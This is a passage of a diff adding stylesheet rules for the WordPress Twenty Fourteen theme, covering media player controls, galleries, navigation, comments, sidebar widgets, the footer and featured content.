+	background: #24890d;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.hentry .mejs-container .mejs-controls .mejs-time {
+	padding-top: 9px;
+}
+
+.hentry .mejs-controls .mejs-time-rail span,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.hentry .mejs-overlay-loading {
+	background: transparent;
+}
+
+.hentry .mejs-overlay-button {
+	background-color: #fff;
+	background-image: none;
+	border-radius: 2px;
+	box-shadow: 1px 1px 1px rgba(0,0,0,.8);
+	color: #000;
+	height: 36px;
+	margin-left: -24px;
+	width: 48px;
+}
+
+.hentry .mejs-overlay-button:before {
+	-webkit-font-smoothing: antialiased;
+	content: '\f452';
+	display: inline-block;
+	font: normal 32px/1.125 Genericons;
+	position: absolute;
+	top: 1px;
+	left: 10px;
+}
+
+.hentry .mejs-controls .mejs-button button:focus {
+	outline: none;
+}
+
+.hentry .mejs-controls .mejs-button button {
+	-webkit-font-smoothing: antialiased;
+	background: none;
+	color: #fff;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+}
+
+.hentry .mejs-playpause-button.mejs-play button:before {
+	content: '\f452';
+}
+
+.hentry .mejs-playpause-button.mejs-pause button:before {
+	content: '\f448';
+}
+
+.hentry .mejs-volume-button.mejs-mute button:before {
+	content: '\f109';
+	font-size: 20px;
+	position: absolute;
+	top: -2px;
+	left: 0;
+}
+
+.hentry .mejs-volume-button.mejs-unmute button:before {
+	content: '\f109';
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.hentry .mejs-fullscreen-button button:before {
+	content: '\f474';
+}
+
+.hentry .mejs-fullscreen-button.mejs-unfullscreen button:before {
+	content: '\f406';
+}
+
+.hentry .mejs-overlay:hover .mejs-overlay-button {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.hentry .mejs-controls .mejs-button button:hover {
+	color: #41a62a;
+}
+
+.content-sidebar .wp-playlist-item .wp-playlist-caption {
+	color: #000;
+}
+
+/* Page links */
+
+.page-links {
+	clear: both;
+	font-size: 12px;
+	font-weight: 900;
+	line-height: 2;
+	margin: 24px 0;
+	text-transform: uppercase;
+}
+
+.page-links a,
+.page-links > span {
+	background: #fff;
+	border: 1px solid #fff;
+	display: inline-block;
+	height: 22px;
+	margin: 0 1px 2px 0;
+	text-align: center;
+	width: 22px;
+}
+
+.page-links a {
+	background: #000;
+	border: 1px solid #000;
+	color: #fff;
+	text-decoration: none;
+}
+
+.page-links a:hover {
+	background: #41a62a;
+	border: 1px solid #41a62a;
+	color: #fff;
+}
+
+.page-links > .page-links-title {
+	height: auto;
+	margin: 0;
+	padding-right: 7px;
+	width: auto;
+}
+
+
+/**
+ * 6.5 Gallery
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-bottom: 20px;
+}
+
+.gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 4px);
+	max-width:         calc(50% - 4px);
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 4px);
+	max-width:         calc(33.3% - 4px);
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 4px);
+	max-width:         calc(25% - 4px);
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 4px);
+	max-width:         calc(20% - 4px);
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 4px);
+	max-width:         calc(16.7% - 4px);
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 4px);
+	max-width:         calc(14.28% - 4px);
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 4px);
+	max-width:         calc(12.5% - 4px);
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 4px);
+	max-width:         calc(11.1% - 4px);
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1.gallery-size-medium figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-1.gallery-size-thumbnail figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-2.gallery-size-thumbnail figure.gallery-item:nth-of-type(2n+1),
+.gallery-columns-3.gallery-size-thumbnail figure.gallery-item:nth-of-type(3n+1) {
+	clear: left;
+}
+
+.gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #fff;
+	font-size: 12px;
+	line-height: 1.5;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 6px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	width: 100%;
+}
+
+.gallery-caption:before {
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 6.6 Post Formats
+ * -----------------------------------------------------------------------------
+ */
+
+.format-aside .entry-content,
+.format-aside .entry-summary,
+.format-quote .entry-content,
+.format-quote .entry-summary,
+.format-link .entry-content,
+.format-link .entry-summary {
+	padding-top: 0;
+}
+
+.site-content .format-link .entry-title,
+.site-content .format-aside .entry-title,
+.site-content .format-quote .entry-title {
+	display: none;
+}
+
+
+/**
+ * 6.7 Post/Image/Paging Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.nav-links {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.post-navigation,
+.image-navigation {
+	margin: 24px auto 48px;
+	max-width: 474px;
+	padding: 0 10px;
+}
+
+.post-navigation a,
+.image-navigation .previous-image,
+.image-navigation .next-image {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding: 11px 0 12px;
+	width: 100%;
+}
+
+.post-navigation .meta-nav {
+	color: #767676;
+	display: block;
+	font-size: 12px;
+	font-weight: 900;
+	line-height: 2;
+	text-transform: uppercase;
+}
+
+.post-navigation a,
+.image-navigation a {
+	color: #2b2b2b;
+	display: block;
+	font-size: 14px;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	text-transform: none;
+}
+
+.post-navigation a:hover,
+.image-navigation a:hover {
+	color: #41a62a;
+}
+
+/* Paging Navigation */
+
+.paging-navigation {
+	border-top: 5px solid #000;
+	margin: 48px 0;
+}
+
+.paging-navigation .loop-pagination {
+	margin-top: -5px;
+	text-align: center;
+}
+
+.paging-navigation .page-numbers {
+	border-top: 5px solid transparent;
+	display: inline-block;
+	font-size: 14px;
+	font-weight: 900;
+	margin-right: 1px;
+	padding: 7px 16px;
+	text-transform: uppercase;
+}
+
+.paging-navigation a {
+	color: #2b2b2b;
+}
+
+.paging-navigation .page-numbers.current {
+	border-top: 5px solid #24890d;
+}
+
+.paging-navigation a:hover {
+	border-top: 5px solid #41a62a;
+	color: #2b2b2b;
+}
+
+
+/**
+ * 6.8 Attachments
+ * -----------------------------------------------------------------------------
+ */
+
+.attachment .content-sidebar,
+.attachment .post-thumbnail {
+	display: none;
+}
+
+.attachment .entry-content {
+	padding-top: 0;
+}
+
+.attachment footer.entry-meta {
+	text-transform: none;
+}
+
+.entry-attachment .attachment {
+	margin-bottom: 24px;
+}
+
+
+/**
+ * 6.9 Archives
+ * -----------------------------------------------------------------------------
+ */
+
+.archive-header,
+.page-header {
+	margin: 24px auto;
+	max-width: 474px;
+}
+
+.archive-title,
+.page-title {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin: 0;
+}
+
+.taxonomy-description,
+.author-description {
+	color: #767676;
+	font-size: 14px;
+	line-height: 1.2857142857;
+	padding-top: 18px;
+}
+
+.taxonomy-description p,
+.author-description p {
+	margin-bottom: 18px;
+}
+
+.taxonomy-description p:last-child,
+.author-description p:last-child {
+	margin-bottom: 0;
+}
+
+.taxonomy-description a,
+.author-description a {
+	text-decoration: underline;
+}
+
+.taxonomy-description a:hover,
+.author-description a:hover {
+	text-decoration: none;
+}
+
+
+/**
+ * 6.10 Contributor Page
+ * -----------------------------------------------------------------------------
+ */
+
+.contributor {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing:      border-box;
+	padding: 48px 10px;
+}
+
+.contributor:first-of-type {
+	padding-top: 24px;
+}
+
+.contributor-info {
+	margin: 0 auto;
+	max-width: 474px;
+}
+
+.contributor-avatar {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	float: left;
+	margin: 0 30px 20px 0;
+	padding: 2px;
+}
+
+.contributor-name {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin: 0;
+}
+
+.contributor-bio a {
+	text-decoration: underline;
+}
+
+.contributor-bio a:hover {
+	text-decoration: none;
+}
+
+.contributor-posts-link {
+	display: inline-block;
+	line-height: normal;
+	padding: 10px 30px;
+}
+
+.contributor-posts-link:before {
+	content: "\f443";
+}
+
+
+/**
+ * 6.11 404 Page
+ * -----------------------------------------------------------------------------
+ */
+
+.error404 .page-content {
+	padding-top: 0;
+}
+
+.error404 .page-content .search-form {
+	margin-bottom: 24px;
+}
+
+
+/**
+ * 6.12 Full-width
+ * -----------------------------------------------------------------------------
+ */
+
+.full-width .hentry {
+	max-width: 100%;
+}
+
+
+/**
+ * 6.13 Singular
+ * -----------------------------------------------------------------------------
+ */
+
+.singular .site-content .hentry.has-post-thumbnail {
+	margin-top: -48px;
+}
+
+
+/**
+ * 6.14 Comments
+ * -----------------------------------------------------------------------------
+ */
+
+.comments-area {
+	margin: 48px auto;
+	max-width: 474px;
+	padding: 0 10px;
+}
+
+.comment-reply-title,
+.comments-title {
+	font: 900 16px/1.5 Lato, sans-serif;
+	margin: 0;
+	text-transform: uppercase;
+}
+
+.comment-list {
+	list-style: none;
+	margin: 0 0 48px 0;
+}
+
+.comment-author {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.comment-list .reply,
+.comment-metadata {
+	font-size: 12px;
+	line-height: 2;
+	text-transform: uppercase;
+}
+
+.comment-list .reply {
+	margin-top: 24px;
+}
+
+.comment-author .fn {
+	font-weight: 900;
+}
+
+.comment-author a {
+	color: #2b2b2b;
+}
+
+.comment-list .trackback a,
+.comment-list .pingback a,
+.comment-metadata a {
+	color: #767676;
+}
+
+.comment-author a:hover,
+.comment-list .pingback a:hover,
+.comment-list .trackback a:hover,
+.comment-metadata a:hover {
+	color: #41a62a;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	padding-top: 24px;
+}
+
+.comment-list > li:first-child > article,
+.comment-list > .pingback:first-child,
+.comment-list > .trackback:first-child {
+	border-top: 0;
+}
+
+.comment-author {
+	position: relative;
+}
+
+.comment-author .avatar {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	height: 18px;
+	padding: 2px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 18px;
+}
+
+.bypostauthor > article .fn:before {
+	content: "\f408";
+	margin: 0 2px 0 -2px;
+	position: relative;
+	top: -1px;
+}
+
+.says {
+	display: none;
+}
+
+.comment-author,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply,
+.comment-metadata {
+	padding-left: 30px;
+}
+
+.comment-edit-link {
+	margin-left: 10px;
+}
+
+.comment-edit-link:before {
+	content: "\f411";
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	content: "\f412";
+	margin-right: 2px;
+}
+
+.comment-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 24px 22px;
+}
+
+.comment-content li > ul,
+.comment-content li > ol {
+	margin-bottom: 0;
+}
+
+.comment-content > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list .children {
+	list-style: none;
+	margin-left: 15px;
+}
+
+.comment-respond {
+	margin-bottom: 24px;
+	padding: 0;
+}
+
+.comment .comment-respond {
+	margin-top: 24px;
+}
+
+.comment-respond h3 {
+	margin-top: 0;
+	margin-bottom: 24px;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.no-comments,
+.form-allowed-tags,
+.form-allowed-tags code {
+	color: #767676;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.no-comments {
+	font-size: 16px;
+	font-weight: 900;
+	line-height: 1.5;
+	margin-top: 24px;
+	text-transform: uppercase;
+}
+
+.comment-form label {
+	display: block;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"] {
+	width: 100%;
+}
+
+.form-allowed-tags,
+.form-allowed-tags code {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.required {
+	color: #c0392b;
+}
+
+.comment-reply-title small a {
+	color: #2b2b2b;
+	float: right;
+	height: 24px;
+	overflow: hidden;
+	width: 24px;
+}
+
+.comment-reply-title small a:hover {
+	color: #41a62a;
+}
+
+.comment-reply-title small a:before {
+	content: "\f405";
+	font-size: 32px;
+}
+
+.comment-navigation {
+	font-size: 12px;
+	line-height: 2;
+	margin-bottom: 48px;
+	text-transform: uppercase;
+}
+
+.comment-navigation .nav-next,
+.comment-navigation .nav-previous {
+	display: inline-block;
+}
+
+.comment-navigation .nav-previous a {
+	margin-right: 10px;
+}
+
+#comment-nav-above {
+	margin-top: 36px;
+	margin-bottom: 0;
+}
+
+
+/**
+ * 7.0 Sidebars
+ * -----------------------------------------------------------------------------
+ */
+
+/* Secondary */
+
+#secondary {
+	background-color: #000;
+	border-top: 1px solid #000;
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	clear: both;
+	color: rgba(255, 255, 255, 0.7);
+	margin-top: -1px;
+	padding: 0 10px;
+	position: relative;
+	z-index: 2;
+}
+
+.site-description {
+	display: none;
+	font-size: 12px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+/* Primary Sidebar */
+
+.primary-sidebar {
+	padding-top: 48px;
+}
+
+.secondary-navigation + .primary-sidebar {
+	padding-top: 0;
+}
+
+/* Content Sidebar */
+
+.content-sidebar {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #767676;
+	padding: 48px 10px 0;
+}
+
+
+/**
+ * 7.1 Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+/* Primary Sidebar, Footer Sidebar */
+
+.widget {
+	font-size: 14px;
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	line-height: 1.2857142857;
+	margin-bottom: 48px;
+	width: 100%;
+	word-wrap: break-word;
+}
+
+.widget a {
+	color: #fff;
+}
+
+.widget a:hover {
+	color: #41a62a;
+}
+
+.widget h1,
+.widget h2,
+.widget h3,
+.widget h4,
+.widget h5,
+.widget h6 {
+	margin: 24px 0 12px;
+}
+
+.widget h1 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+.widget h2 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+.widget h3 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+.widget h4 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.widget h5 {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.widget h6 {
+	font-size: 12px;
+	line-height: 2;
+}
+
+.widget address {
+	margin-bottom: 18px;
+}
+
+.widget abbr[title] {
+	border-color: rgba(255, 255, 255, 0.7);
+}
+
+.widget mark,
+.widget ins {
+	color: #000;
+}
+
+.widget pre,
+.widget fieldset {
+	border-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget code,
+.widget kbd,
+.widget tt,
+.widget var,
+.widget samp,
+.widget pre {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.widget blockquote {
+	color: rgba(255, 255, 255, 0.7);
+	font-size: 18px;
+	line-height: 1.5;
+	margin-bottom: 18px;
+}
+
+.widget blockquote cite {
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.2857142857;
+}
+
+.widget dl,
+.widget dd {
+	margin-bottom: 18px;
+}
+
+.widget ul,
+.widget ol {
+	list-style: none;
+	margin: 0;
+}
+
+.widget li > ol,
+.widget li > ul {
+	margin-left: 10px;
+}
+
+.widget table,
+.widget th,
+.widget td {
+	border-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget table {
+	margin-bottom: 18px;
+}
+
+.widget del {
+	color: rgba(255, 255, 255, 0.4);
+}
+
+.widget hr {
+	background-color: rgba(255, 255, 255, 0.2);
+}
+
+.widget p {
+	margin-bottom: 18px;
+}
+
+.widget-area .widget input,
+.widget-area .widget textarea {
+	background-color: rgba(255, 255, 255, 0.1);
+	border-color: rgba(255, 255, 255, 0.2);
+	color: #fff;
+	font-size: 16px;
+	padding: 1px 2px 2px 4px;
+}
+
+.widget-area .widget input:focus,
+.widget-area .widget textarea:focus {
+	border-color: rgba(255, 255, 255, 0.3);
+}
+
+.widget button,
+.widget .button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	font-size: 12px;
+	padding: 5px 15px 4px;
+}
+
+.widget input[type="button"]:hover,
+.widget input[type="button"]:focus,
+.widget input[type="reset"]:hover,
+.widget input[type="reset"]:focus,
+.widget input[type="submit"]:hover,
+.widget input[type="submit"]:focus {
+	background-color: #41a62a;
+}
+
+.widget input[type="button"]:active,
+.widget input[type="reset"]:active,
+.widget input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.widget .wp-caption {
+	color: rgba(255, 255, 255, 0.7);
+	margin-bottom: 18px;
+}
+
+.widget .widget-title {
+	font-size: 14px;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	margin: 0 0 24px 0;
+	text-transform: uppercase;
+}
+
+.widget-title,
+.widget-title a {
+	color: #fff;
+}
+
+.widget-title a:hover {
+	color: #41a62a;
+}
+
+/* Calendar Widget*/
+
+.widget_calendar table {
+	line-height: 2;
+	margin: 0;
+}
+
+.widget_calendar caption {
+	color: #fff;
+	font-weight: 700;
+	line-height: 1.7142857142;
+	margin-bottom: 18px;
+	text-align: left;
+	text-transform: uppercase;
+}
+
+.widget_calendar thead th {
+	background-color: rgba(255, 255, 255, 0.1);
+}
+
+.widget_calendar tbody td,
+.widget_calendar thead th {
+	text-align: center;
+}
+
+.widget_calendar tbody a {
+	background-color: #24890d;
+	color: #fff;
+	display: block;
+}
+
+.widget_calendar tbody a:hover {
+	background-color: #41a62a;
+}
+
+.widget_calendar tbody a:hover {
+	color: #fff;
+}
+
+.widget_calendar #prev {
+	padding-left: 5px;
+}
+
+.widget_calendar #next {
+	padding-right: 5px;
+	text-align: right;
+}
+
+/* Ephemera Widget*/
+
+.widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid rgba(255, 255, 255, 0.2);
+	margin-bottom: 18px;
+	padding: 0;
+}
+
+.widget_twentyfourteen_ephemera .hentry {
+	margin: 0;
+	max-width: 100%;
+}
+
+.widget_twentyfourteen_ephemera .entry-title,
+.widget_twentyfourteen_ephemera .entry-meta,
+.widget_twentyfourteen_ephemera .wp-caption-text,
+.widget_twentyfourteen_ephemera .post-format-archive-link,
+.widget_twentyfourteen_ephemera .entry-content table {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.widget_twentyfourteen_ephemera .entry-title {
+	display: inline;
+	font-weight: 400;
+}
+
+.widget_twentyfourteen_ephemera .entry-meta {
+	margin-bottom: 18px;
+}
+
+.widget_twentyfourteen_ephemera .entry-meta a {
+	color: rgba(255, 255, 255, 0.7);
+}
+
+.widget_twentyfourteen_ephemera .entry-meta a:hover {
+	color: #41a62a;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul,
+.widget_twentyfourteen_ephemera .entry-content ol {
+	margin: 0 0 18px 20px;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul {
+	list-style: disc;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ol {
+	list-style: decimal;
+}
+
+.widget_twentyfourteen_ephemera .entry-content li > ul,
+.widget_twentyfourteen_ephemera .entry-content li > ol {
+	margin: 0 0 0 20px;
+}
+
+.widget_twentyfourteen_ephemera .entry-content th,
+.widget_twentyfourteen_ephemera .entry-content td {
+	padding: 6px;
+}
+
+.widget_twentyfourteen_ephemera .post-format-archive-link {
+	font-weight: 700;
+	text-transform: uppercase;
+}
+
+/* List Style Widgets*/
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+	padding: 8px 0 9px;
+}
+
+.widget_archive li:first-child,
+.widget_categories li:first-child,
+.widget_links li:first-child,
+.widget_meta li:first-child,
+.widget_nav_menu li:first-child,
+.widget_pages li:first-child,
+.widget_recent_comments li:first-child,
+.widget_recent_entries li:first-child {
+	border-top: 0;
+}
+
+.widget_categories li ul,
+.widget_nav_menu li ul,
+.widget_pages li ul {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+	margin-top: 9px;
+}
+
+.widget_categories li li:last-child,
+.widget_nav_menu li li:last-child,
+.widget_pages li li:last-child {
+	padding-bottom: 0;
+}
+
+/* Recent Posts Widget */
+
+.widget_recent_entries .post-date {
+	display: block;
+}
+
+/* RSS Widget */
+
+.rsswidget img {
+	margin-top: -4px;
+}
+
+.rssSummary {
+	margin: 9px 0;
+}
+
+.rss-date {
+	display: block;
+}
+
+.widget_rss li {
+	margin-bottom: 18px;
+}
+
+.widget_rss li:last-child {
+	margin-bottom: 0;
+}
+
+/* Text Widget */
+
+.widget_text > div > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 7.2 Content Sidebar Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.content-sidebar .widget a {
+	color: #24890d;
+}
+
+.content-sidebar .widget a:hover {
+	color: #41a62a;
+}
+
+.content-sidebar .widget pre {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget mark,
+.content-sidebar .widget ins {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget abbr[title] {
+	border-color: #2b2b2b;
+}
+
+.content-sidebar .widget fieldset {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget blockquote {
+	color: #767676;
+}
+
+.content-sidebar .widget blockquote cite {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget li > ol,
+.content-sidebar .widget li > ul {
+	margin-left: 18px;
+}
+
+.content-sidebar .widget table,
+.content-sidebar .widget th,
+.content-sidebar .widget td {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget del {
+	color: #767676;
+}
+
+.content-sidebar .widget hr {
+	background-color: rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget input,
+.content-sidebar .widget textarea {
+	background-color: #fff;
+	border-color: rgba(0, 0, 0, 0.1);
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget input:focus,
+.content-sidebar .widget textarea:focus {
+	border-color: rgba(0, 0, 0, 0.3);
+}
+
+.content-sidebar .widget input[type="button"],
+.content-sidebar .widget input[type="reset"],
+.content-sidebar .widget input[type="submit"] {
+	background-color: #24890d;
+	border: 0;
+	color: #fff;
+}
+
+.content-sidebar .widget input[type="button"]:hover,
+.content-sidebar .widget input[type="button"]:focus,
+.content-sidebar .widget input[type="reset"]:hover,
+.content-sidebar .widget input[type="reset"]:focus,
+.content-sidebar .widget input[type="submit"]:hover,
+.content-sidebar .widget input[type="submit"]:focus {
+	background-color: #41a62a;
+}
+
+.content-sidebar .widget input[type="button"]:active,
+.content-sidebar .widget input[type="reset"]:active,
+.content-sidebar .widget input[type="submit"]:active {
+	background-color: #55d737;
+}
+
+.content-sidebar .widget .wp-caption {
+	color: #767676;
+}
+
+.content-sidebar .widget .widget-title {
+	border-top: 5px solid #000;
+	color: #2b2b2b;
+	font-size: 14px;
+	font-weight: 900;
+	margin: 0 0 18px;
+	padding-top: 7px;
+	text-transform: uppercase;
+}
+
+.content-sidebar .widget .widget-title a {
+	color: #2b2b2b;
+}
+
+.content-sidebar .widget .widget-title a:hover {
+	color: #41a62a;
+}
+
+/* List Style Widgets*/
+
+.content-sidebar .widget_archive li,
+.content-sidebar .widget_categories li,
+.content-sidebar .widget_links li,
+.content-sidebar .widget_meta li,
+.content-sidebar .widget_nav_menu li,
+.content-sidebar .widget_pages li,
+.content-sidebar .widget_recent_comments li,
+.content-sidebar .widget_recent_entries li,
+.content-sidebar .widget_categories li ul,
+.content-sidebar .widget_nav_menu li ul,
+.content-sidebar .widget_pages li ul {
+	border-color: rgba(0, 0, 0, 0.1);
+}
+
+/* Calendar Widget */
+
+.content-sidebar .widget_calendar caption {
+	color: #2b2b2b;
+	font-weight: 900;
+}
+
+.content-sidebar .widget_calendar thead th {
+	background-color: rgba(0, 0, 0, 0.02);
+}
+
+.content-sidebar .widget_calendar tbody a,
+.content-sidebar .widget_calendar tbody a:hover {
+	color: #fff;
+}
+
+/* Ephemera widget*/
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title {
+	line-height: 1.2857142857;
+	padding-top: 1px;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title:before {
+	background-color: #000;
+	color: #fff;
+	margin: -1px 9px 0 0;
+	padding: 6px 0 9px;
+	text-align: center;
+	vertical-align: middle;
+	width: 36px;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .video.widget-title:before {
+	content: "\f104";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .audio.widget-title:before {
+	content: "\f109";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .image.widget-title:before {
+	content: "\f473";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .gallery.widget-title:before {
+	content: "\f103";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .aside.widget-title:before {
+	content: "\f101";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .quote.widget-title:before {
+	content: "\f106";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .link.widget-title:before {
+	content: "\f107";
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta {
+	color: #ccc;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta a {
+	color: #767676;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .entry-meta a:hover {
+	color: #41a62a;
+}
+
+.content-sidebar.widget_twentyfourteen_ephemera blockquote cite {
+	font-size: 13px;
+	line-height: 1.3846153846;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .post-format-archive-link {
+	font-weight: 900;
+}
+
+
+/**
+ * 8.0 Footer
+ * -----------------------------------------------------------------------------
+ */
+
+#supplementary {
+	padding: 0 10px;
+}
+
+.site-footer,
+.site-info,
+.site-info a {
+	color: rgba(255, 255, 255, 0.7);
+}
+
+.site-footer {
+	background-color: #000;
+	font-size: 12px;
+	position: relative;
+	z-index: 3;
+}
+
+.footer-sidebar {
+	padding-top: 48px;
+}
+
+.site-info {
+	padding: 15px 10px;
+}
+
+#supplementary + .site-info {
+	border-top: 1px solid rgba(255, 255, 255, 0.2);
+}
+
+.site-info a:hover {
+	color: #41a62a;
+}
+
+
+/**
+ * 9.0 Featured Content
+ * -----------------------------------------------------------------------------
+ */
+
+.featured-content {
+	background: #000 url(images/pattern-dark.svg) repeat fixed;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	position: relative;
+	width: 100%;
+}
+
+.featured-content-inner {
+	overflow: hidden;
+}
+
+.featured-content .hentry {
+	color: #fff;
+	margin: 0;
+	max-width: 100%;
+	width: 100%;
+}
+
+.featured-content .post-thumbnail,
+.featured-content .post-thumbnail:hover {
+	background: transparent;
+}
+
+.featured-content .post-thumbnail {
+	display: block;
+	position: relative;
+	padding-top: 55.357142857%;
